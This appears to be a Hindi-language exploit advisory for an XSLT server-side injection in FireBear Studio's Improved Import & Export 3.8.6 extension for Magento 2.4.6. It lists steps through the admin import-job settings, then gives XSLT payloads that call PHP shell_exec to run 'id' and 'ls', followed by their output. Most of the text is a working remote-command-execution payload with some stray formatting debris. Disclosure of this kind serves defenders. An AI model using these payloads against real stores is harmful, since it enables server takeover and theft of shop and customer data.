एक्सप्लॉइट शीर्षक: FireBear Studio Improved Import & Export ver. 3.8.6 for Magento 2.4.6 - XSLT सर्वर साइड इंजेक्शन

• दिनांक: 2023-11-17
• एक्सप्लॉइट लेखक: tmrswrr
• विक्रेता होमपेज: FireBear Studio
• सॉफ्टवेयर लिंक: FireBear Studio Improved Import & Export
• संस्करण: FireBear Improved Import & Export ver. 3.8.6

1. इस URL पर व्यवस्थापक क्रेडेंशियल से प्रवेश करें: https://magento2demo.firebearstudio.com/

2. SYSTEM > Import Jobs > Entity Type Widget > click edit पर क्लिक करें

3. चुनें Import File Type > XML > Import Source is File

4. कोई भी xml फ़ाइल अपलोड करें

5. XSLT Configuration पर क्लिक करें और यह पेलोड लिखें:

   root@kitploit:~

   <?xml version="1.0" encoding="utf-8"?>
   <xsl:stylesheet version="1.0"
   xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
   xmlns:php="http://php.net/xsl">
     <xsl:template match="/">
       <xsl:value-of select="php:function('shell_exec','id')" />
     </xsl:template>
   </xsl:stylesheet>```
   

** **uid=10095(a0563af8) gid=1050(a0563af8) groups=1050(a0563af8)

   <?xml version="1.0" encoding="utf-8"?>
   <xsl:stylesheet version="1.0"
   xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
   xmlns:php="http://php.net/xsl">
     <xsl:template match="/">
       <xsl:value-of select="php:function('shell_exec','ls')" />
     </xsl:template>
   </xsl:stylesheet>```

**<?xml version="1.0"?>
cron.php
errors
get.php
health_check.php
index.php
media
opt
robots.txt
static
static.php